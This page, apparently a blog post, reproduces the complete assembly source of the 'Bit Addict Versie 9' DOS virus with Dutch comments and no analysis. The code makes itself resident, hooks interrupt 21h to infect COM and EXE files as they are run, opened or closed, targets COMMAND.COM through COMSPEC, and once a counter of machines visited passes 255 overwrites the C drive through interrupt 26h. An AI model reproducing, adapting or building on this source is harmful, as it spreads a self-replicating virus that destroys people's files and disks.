Pages

Web hosting

Bit Addict Versie 9





; Bit Addict Versie 9


; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter
; wordt dan 128 bytes en er dus een foutmelding komt

dfn    macro    Num1,Num2
    db    Num1
    dw    offset Num2
    endm

jmpc    macro    Dest            ; vervanging voor jc
    local    @@00

    jnc    @@00
    jmp    Dest
@@00:
    endm

jmpnc    macro    Dest            ; vervanging voor jnc
    local    @@00

    jc    @@00
    jmp    Dest
@@00:
    endm

jmpe    macro    Dest            ; vervanging voor je
    local    @@00

    jnz    @@00
    jmp    Dest
@@00:
    endm

jmpne    macro    Dest            ; vervanging voor jne
    local    @@00

    jz    @@00
    jmp    Dest
@@00:
    endm

eseg segment
    mov    ax,4c00h        ; exit
    int    21h
eseg ends

;-----------------------------------------------------------------------------
;-----                                                                   -----
;-----              Begin van het Bit Addict virus                       -----
;-----                                                                   -----
;-----------------------------------------------------------------------------

cseg segment
    assume    cs:cseg,ds:cseg,es:cseg
    org    0

BeginCode    equ    $                ; begin van het virus

CodeSize    equ    CodeEnd-BeginCode        ; de grootte van het
CodeSizePara    equ    (CodeEnd-BeginCode+0fh) / 10h    ; virus achter een file

VirusSize    equ    VirusEnd-BeginCode        ; de grootte van het
VirusSizePara    equ    (VirusEnd-BeginCode+0fh) / 10h    ; virus in het geheugen

HeaderLength    equ    18h                ; grootte van een

SavedCode    equ    this byte            ; gegevens over het
OldSignature    dw    5a4dh                ; programma voor het
OldCSIP        equ    this dword            ; virus
OldIP        dw    0
OldCS        dw    0
OldSP        dw    200h
OldSS        dw    0
OldPartPage    dw    0
OldPageCount    dw    0

Begin:    push    ax                ; Programma om het virus
    push    ds                ; resident te laten blijven
    push    es                ; en om de comspec te
    call    Init                ; infecteren
    jnc    @@12
    call    BiosCheck            ; Als bit addict op een andere
    push    cs                ; computer draait wordt er een
    pop    es                ; teller verhoogt.
    xor    al,al
    mov    cx,VirusSize-CodeSize        ; zet alle variabelen op nul
    mov    di,CodeSize
    cld
    rep    stosb                ; debug interrupt 21h om het
    call    DebugOn                ; orginele interrupt te vinden
    pop    es
    push    es
    mov    ah,4ah                ; en reserveer geheugen voor
    mov    bx,-1                ; bit addict.
    call    DOS
    push    bx
    call    DebugOff
    pop    bx
    mov    ax,cs
    pop    dx
    push    dx   
    sub    ax,dx
    add    ax,cs:MinMem
    add    ax,CodeSizePara+VirusSizePara+1
    cmp    bx,ax
    jb    @@12
    mov    ah,4ah
    sub    bx,VirusSizePara+1
    int    21h
    jb    @@12
    mov    ah,48h
    mov    bx,VirusSizePara
    int    21h
    jb    @@12
    mov    es,ax
    dec    ax
    mov    ds,ax
    mov    word ptr ds:[1],8
    call    CopyBitAddict            ; Copieer bit addict naar
    pop    es                ; het gereserveerde geheugen
    push    es                ; Infecteer bestand in de
    call    InfectComspec            ; comspec
@@12:    pop    es
    pop    ds                ; ga nu verder met het
    pop    ax                ; programma voor Bit Addict
    cli
    mov    ss,cs:OldSS
    mov    sp,cs:OldSP
    sti
    jmp    cs:OldCSIP


Comspec        db    'COMSPEC='    ; comspec environment variabele
                    ; om de command.com te vinden

ID        dw    0DEADh        ; hier wordt het virus herkend
                    ; als het in het geheugen staat

Count        dw    0        ; In deze variabele staat op
                    ; hoeveel verschillende
                    ; computers het virus is
                    ; geweest
Bios        db    10h dup(0)    ; Gegevens over de bios,
                    ; door dit te vergelijken met
                    ; de bios kan het virus weten
                    ; of het virus op een andere
                    ; computer draait

CopyBitAddict:
    push    cs                ; copieer Bit Addict naar de
    pop    ds                ; gereserveerde buffers
    xor    si,si
    xor    di,di
    mov    cx,VirusSize
    cld
    rep    movsb
    xor    ax,ax                ; leid interrupt 21h om naar
    mov    ds,ax                ; Bit Addict
    mov    word ptr ds:[84h],offset NewInt21
    mov    word ptr ds:[86h],es
    ret

InfectComspec:
    mov    es,es:[2ch]            ; lees environment segment
    xor    di,di
    push    cs                ; zoek naar de comspec
    pop    ds                ; variabele
    mov    si,offset Comspec
@@30:    push    si
    push    di
    mov    cx,8
    cld
    repe    cmpsb
    pop    di
    pop    si
    je    @@31
    xor    al,al
    mov    cx,-1
    cld
    repne    scasb
    cmp    byte ptr es:[di],0        ; is dit de laatste variabele ?
    jne    @@30
    jmp    short @@33
@@31:    push    es                ; infecteer de COMMAND.COM of
    pop    ds                ; andere command interpreter,
    cmp    byte ptr ds:[di+9],':'        ; maar doe dit alleen wanneer
    jne    @@32                ; de comspec naar de c of de
    mov    al,ds:[di+8]            ; d-drive wijst.
    and    al,0dfh
    cmp    al,'C'
    je    @@32
    cmp    al,'D'
    jne    @@33
@@32:    lea    dx,[di+8]
    push    cs:OldIP            ; bewaar alle variabelen die
    push    cs:OldCS            ; we nog nodig hebben.
    push    cs:OldSP
    push    cs:OldSS
    call    Infect                ; infecteren
    pop    cs:OldSS            ; herstel alle variabelen die
    pop    cs:OldSP            ; we nog nodig hebben
    pop    cs:OldCS
    pop    cs:OldIP
@@33:    ret

DebugOn:push    ax                ; deze procedere is om de
    push    ds                ; trap-flag te zetten, en
    xor    ax,ax                ; interrupt 1 te initialiseren
    mov    ds,ax
    cli
    mov    ax,ds:[4h]
    mov    word ptr cs:OldInt1[0],ax
    mov    ax,ds:[6h]
    mov    word ptr cs:OldInt1[2],ax
    mov    word ptr ds:[4],offset NewInt1
    mov    word ptr ds:[6],cs
    mov    ax,ds:[84h]
    mov    word ptr cs:OldInt21[0],ax
    mov    ax,ds:[86h]
    mov    word ptr cs:OldInt21[2],ax
    mov    word ptr cs:DosInt21[0],0
    mov    word ptr cs:DosInt21[2],0
    pushf
    pop    ax
    or    ah,1
    push    ax
    popf
    sti
    pop    ds
    pop    ax
    ret

DebugOff:                    ; deze procedure zet de
    push    ax                ; trap-flag weer op nul en
    push    ds                ; herstelt interrupt 1.
    cli
    pushf
    pop    ax
    and    ah,0feh
    push    ax
    popf
    xor    ax,ax
    mov    ds,ax
    mov    ax,word ptr cs:OldInt1[0]
    mov    ds:[4],ax
    mov    ax,word ptr cs:OldInt1[2]
    mov    ds:[6],ax
    sti
    pop    ds
    pop    ax
    ret

Init:    push    cs
    pop    ds
    cmp    OldSignature,5a4dh
    je    @@50
    mov    si,offset SavedCode        ; herstel begin van het
    mov    di,100h                ; com-programma
    mov    cx,Dead-ComHeader+2
    cld
    rep    movsb
    mov    OldSS,ss            ; bewaar de waarden van
    mov    OldSP,sp            ; ss,sp,cs en ip
    sub    OldSP,10h
    mov    OldCS,es
    mov    OldIP,100h
    jmp    short @@51
@@50:    mov    ax,es                ; bereken de waarden van
    add    ax,10h                ; ss,sp,cs en ip
    add    OldCS,ax
    add    OldSS,ax
@@51:    mov    ax,4b40h            ; controleer of Bit Addict al
    int    21h                ; in het geheugen aanwezig is
    jc    @@52
    mov    ds,ax
    mov    ax,word ptr ds:ID        ; vergelijk identificatie
    cmp    ax,word ptr cs:ID
    je    @@52
    stc
@@52:    ret

BiosCheck:                    ; deze procedure vergelijkt
    mov    ax,0ffffh            ; de bios, met de gegevens
    mov    ds,ax                ; over de bios in het virus,
    push    cs                ; zijn deze niet gelijk, dan
    pop    es                ; zal het virus op een andere
    xor    si,si                ; computer draaien, en wordt
    mov    di,offset Bios            ; er een teller verhoogt, komt
    mov    cx,10h                ; deze teller boven de 255 dan
    cld                    ; zal het bit-addict virus
    repe    cmpsb                ; actief worden.
    je    @@54
    mov    ax,cs:Count
    inc    ax
    cmp    ax,100h
    jb    @@53
    call    BitAddict
@@53:    mov    cs:Count,ax
    xor    si,si
    mov    di,offset Bios
    mov    cx,10h
    rep    movsb
@@54:    ret

BitAddict:                    ; in deze procedure wordt
    xor    dx,dx                ; de c-drive overscreven met
@@55:    push    dx                ; onzin, dit mag verandert
    mov    ax,3                ; worden, om het virus iets
    xor    bx,bx                ; anders te laten doen, een
    mov    cx,40h                ; muziekje spelen, of met het
    int    26h                ; toetsenbord spelen
    pop    ax                ; bijvoorbeeld.
    pop    dx
    add    dx,40h
    or    dx,dx
    jne    @@55
    ret

NewInt1:push    bp                ; deze procedure wordt
    mov    bp,sp                ; gebruikt bij het debuggen
    push    ax
    mov    ax,word ptr cs:DosInt21[0]
    or    ax,word ptr cs:DosInt21[2]
    jnz    @@60
    cmp    word ptr ss:[bp+4],300h
    jae    @@61
    mov    ax,ss:[bp+2]
    mov    word ptr cs:DosInt21[0],ax
    mov    ax,ss:[bp+4]
    mov    word ptr cs:DosInt21[2],ax
@@60:    and    word ptr ss:[bp+6],0feffh
@@61:    pop    ax
    pop    bp
    iret

DOS:    push    ax                ; roept interrupt 21h aan.
    mov    ax,word ptr cs:DosInt21[0]
    or    ax,word ptr cs:DosInt21[2]
    pop    ax
    jnz    @@62
    pushf
    call    cs:OldInt21
    ret
@@62:    pushf
    call    cs:DosInt21
    ret

Functions:                    ; dit is een tabel met alle
    dfn    3ch,Open            ; dos-functies die door
    dfn    3dh,Open            ; bit-addict verandert worden
    dfn    3eh,Close
    dfn    3fh,Read
    dfn    40h,Write
    dfn    4bh,Exec

NewInt21:                    ; Het nieuwe interrupt 21h
    pushf
    push    bx
    push    bp
    mov    bp,sp
    mov    bx,offset Functions
@@63:    cmp    ah,cs:[bx]
    je    @@68
    add    bx,3
    cmp    bx,offset NewInt21
    jne    @@63
    pop    bp
    pop    bx
EOI:    popf
    jmp    cs:OldInt21
@@68:    mov    bx,cs:[bx+1]
    xchg    bx,ss:[bp+2]
    pop    bp
    ret

InstallCheck:                    ; Zo kan bit addict weten
    mov    ax,cs                ; dat er al een andere copy
    popf                    ; aanwezig is
    clc
    retf    2

Exec:    cmp    al,40h
    je    InstallCheck
    call    CheckExtension            ; functie 4bh, infecteer eerst
    jc    EOI                ; met Bit Addict
    popf
    push    dx
    push    ds
    pushf
    call    cs:OldInt21
    pop    ds
    pop    dx
    pushf
    call    Infect
    popf
    retf    2

Open:    call    CheckExtension            ; fn 3ch en 3dh
    jc    EOI
    call    cs:OldInt21
    jc    @@92
    pushf
    push    ax
    push    cx
    push    si
    push    di
    push    es
    push    cs
    pop    es
    mov    si,dx
    mov    di,offset File1
    cmp    word ptr es:[di],0
    je    @@90
    mov    di,offset File2
    cmp    word ptr es:[di],0
    jne    @@91
@@90:    cld
    stosw
    mov    cx,70
    rep    movsb
@@91:    pop    es
    pop    di
    pop    si
    pop    cx
    pop    ax
    popf
@@92:    retf    2

Close:    cmp    bx,cs:File1            ; fn 3eh
    je    @@93
    cmp    bx,cs:File2
    jne    EOI
    call    cs:OldInt21
    push    si
    mov    si,offset File2
    jmp    short @@94
@@93:    call    cs:OldInt21
    push    si
    mov    si,offset File1
@@94:    jc    @@95
    pushf
    push    dx
    push    ds
    push    cs
    pop    ds
    lea    dx,[si+2]
    call    Infect
    pop    ds
    pop    dx
    popf
@@95:    mov    word ptr cs:[si],0
    pop    si
    retf    2

Read:    jmp    EOI                ; fn 3fh

Write:    jmp    EOI                ; fn 40h

CheckExtension:                    ; controleer of de extensie
    push    ax                ; wel exe of com is
    push    cx
    push    si
    push    di
    push    es
    push    ds
    pop    es
    mov    di,dx                ; zoek het einde van de
    xor    al,al                ; file-naam
    mov    cx,70
    cld
    repne    scasb
    jne    @@65
    std
    mov    al,'.'                ; zoek de laatste punt
    neg    cx
    add    cx,70
    std
    repne    scasb
    jne    @@65
    lea    si,[di+2]
    cld
    lodsw                    ; eerste 2 letters
    and    ax,0dfdfh            ; maak hoofdletters
    cmp    ax,5845h            ; 'EX'
    je    @@64
    cmp    ax,4f43h            ; 'CO'
    jne    @@65
    lodsb                    ; 3e letter
    and    al,0dfh
    cmp    al,4dh                ; 'M'
    je    @@66
    jmp    short @@65
@@64:    lodsb                    ; 3e letter
    and    al,0dfh
    cmp    al,45h                ; 'E'
    je    @@66
@@65:    stc
    jmp    short @@67
@@66:    clc
@@67:    pop    es
    pop    di
    pop    si
    pop    cx
    pop    ax
    ret

ComHeader:                    ; dit stukje wordt voor een
    mov    ax,cs                ; COM-file geplaatst, en is om
    add    ax,0100h            ; het virus te starten.
OldSize    equ    this word-2
    push    ax
    mov    ax,offset Begin
    push    ax
    retf
Dead    equ    $
    dw    0DEADh                ; signature, om te controleren
                        ; of een file al eens eerder
                        ; besmet is.

Infect:    push    ax                ; Infecteer een file
    push    bx
    push    cx
    push    si
    push    di
    push    bp
    push    es
    mov    ax,4300h            ; lees attributen en bewaar
    call    DOS                ; ze
    jmpc    @@83
    push    cx
    push    dx
    push    ds
    test    cx,1
    jz    @@71
    mov    ax,4301h            ; set Read-Only attribuut
    and    cx,0fffeh            ; op nul
    call    DOS
    jmpc    @@82
@@71:    mov    ax,3d02h            ; open de file
    call    DOS
    jmpc    @@82
    mov    bx,ax
    mov    ax,5700h            ; lees de datum en tijd en
    call    DOS                ; bewaar ze
    jmpc    @@81
    push    cx
    push    dx
    push    cs                ; ds=es=cs
    pop    ds
    push    cs
    pop    es
    mov    ah,3fh                ; lees de header van de file
    mov    cx,HeaderLength
    mov    dx,offset Header
    call    DOS
    jmpc    @@80
    cmp    ax,HeaderLength
    jne    @@75
    cmp    Signature,5a4dh            ; Controleer of ID aanwezig is
    jne    @@72
    cmp    ExeID,0DEADh
    jmp    @@73
@@72:    cmp    ComID,0DEADh
@@73:    jmpe    @@80                ; als ID aanwezig is, stop dan
@@74:    cmp    Signature,5a4dh
    je    @@77
@@75:    mov    ax,4202h            ; infecteer com-files
    xor    cx,cx                ; ga naar het einde van de file
    xor    dx,dx
    call    DOS
    mov    cx,10h                ; aanpassen van de com-header
    div    cx                ; aan deze com-file
    or    dx,dx
    je    @@76
    push    ax
    mov    ah,40h
    mov    cx,10h
    sub    cx,dx
    xor    dx,dx
    call    DOS
    pop    ax
    jmpc    @@80
    inc    ax
@@76:    add    ax,10h
    mov    OldSize,ax
    mov    si,offset Header        ; bewaar het eerste deel van
    mov    di,offset SavedCode        ; het programma
    mov    cx,Dead-ComHeader+2
    cld
    rep    movsb
    mov    ah,40h                ; schrijf het virus achter het
    mov    cx,CodeSize            ; programma
    xor    dx,dx
    call    DOS
    jmpc    @@80
    mov    ax,4200h            ; ga naar het begin van de file
    xor    cx,cx
    xor    dx,dx
    call    DOS
    jmpc    @@80
    mov    ah,40h                ; overschrijf het begin van het
    mov    cx,Dead-ComHeader+2        ; programma met de com-header
    mov    dx,offset ComHeader
    call    DOS
    jmp    @@80
@@77:    mov    di,offset SavedCode        ; infecteer exe-files
    mov    ax,5a4dh            ; bewaar de oude waarden van
    stosw                    ; cs:ip en ss:sp
    mov    ax,ExeIP
    stosw
    mov    ax,ExeCS
    stosw
    mov    ax,ExeSP
    stosw
    mov    ax,ExeSS
    stosw
    mov    ax,PartPage
    stosw
    mov    ax,PageCount
    stosw
    mov    ExeID,0DEADh            ; Zet ID in exe-header
    mov    ax,4202h
    xor    cx,cx
    xor    dx,dx
    int    21h
    mov    cx,10h
    div    cx
    or    dx,dx
    je    @@78
    push    ax
    push    dx
    mov    ah,40h
    mov    cx,10h
    sub    cx,dx
    xor    dx,dx
    call    DOS
    pop    dx
    pop    ax
    jc    @@80
    inc    ax
@@78:    sub    ax,HeaderSize
    mov    ExeCS,ax           
    mov    ExeIP,offset Begin
    add    ax,VirusSizePara
    mov    ExeSS,ax
    mov    ExeSP,200h
    mov    ax,MinMem
    cmp    ax,20h+VirusSizePara-CodeSizePara
    jae    @@79
    mov    ax,20h
@@79:    mov    MinMem,ax
    mov    ah,40h                ; schrijf het virus achter
    mov    cx,CodeSize            ; de exe-file
    xor    dx,dx
    call    DOS
    jc    @@80
    mov    ax,4202h            ; Pas de file-lengte in de
    xor    cx,cx                ; header aan, als de file veel
    xor    dx,dx                ; overlays bevat, dan zal de
    call    DOS                ; exe-file niet meer werken,
    mov    cx,200h                ; maar de file kan wel hersteld
    div    cx                ; worden.
    cmp    dx,1
    cmc
    adc    ax,0
    mov    PageCount,ax
    mov    PartPage,dx
    mov    ax,4200h
    xor    cx,cx
    xor    dx,dx                ; ga naar het begin van de file
    call    DOS
    jc    @@80
    mov    ah,40h                ; schrijf de nieuwe exe-header
    mov    cx,HeaderLength            ; over de oude heen.
    mov    dx,offset Header
    call    DOS
@@80:    pop    dx                ; herstel de datum van de file
    pop    cx
    mov    ax,5701h
    call    DOS
@@81:    mov    ah,3eh                ; sluit de file
    call    DOS
@@82:    pop    ds                ; herstel de attributen van de
    pop    dx                ; file
    pop    cx
    test    cx,1
    jz    @@83
    mov    ax,4301h
    call    DOS
@@83:    pop    es                ; herstel de waarden van de
    pop    bp                ; registers en keer terug
    pop    di                ; naar het oude interrupt 21
    pop    si
    pop    cx
    pop    bx
    pop    ax
    ret

CodeEnd        equ    $

Header        dw    HeaderLength/2 dup(0)
ComCS        equ    Header[OldSize-Comheader]    ; Com file
ComID        equ    Header[Dead-ComHeader]

Signature    equ    Header[0h]            ; Exe file
PartPage    equ    Header[2h]
PageCount    equ    Header[4h]
HeaderSize    equ    Header[8h]
MinMem        equ    Header[0ah]
MaxMem        equ    Header[0ch]
ExeSS        equ    Header[0eh]
ExeSP        equ    Header[10h]
ExeID        equ    Header[12h]
ExeIP        equ    Header[14h]
ExeCS        equ    Header[16h]

DosInt21    dd    0
OldInt21    dd    0
OldInt1        dd    0

File1        dw    36 dup(0)
File2        dw    36 dup(0)

VirusEnd    equ    $

cseg ends

sseg segment stack
    db    200h dup(1)
sseg ends

end Begin

0 comments:

Post a Comment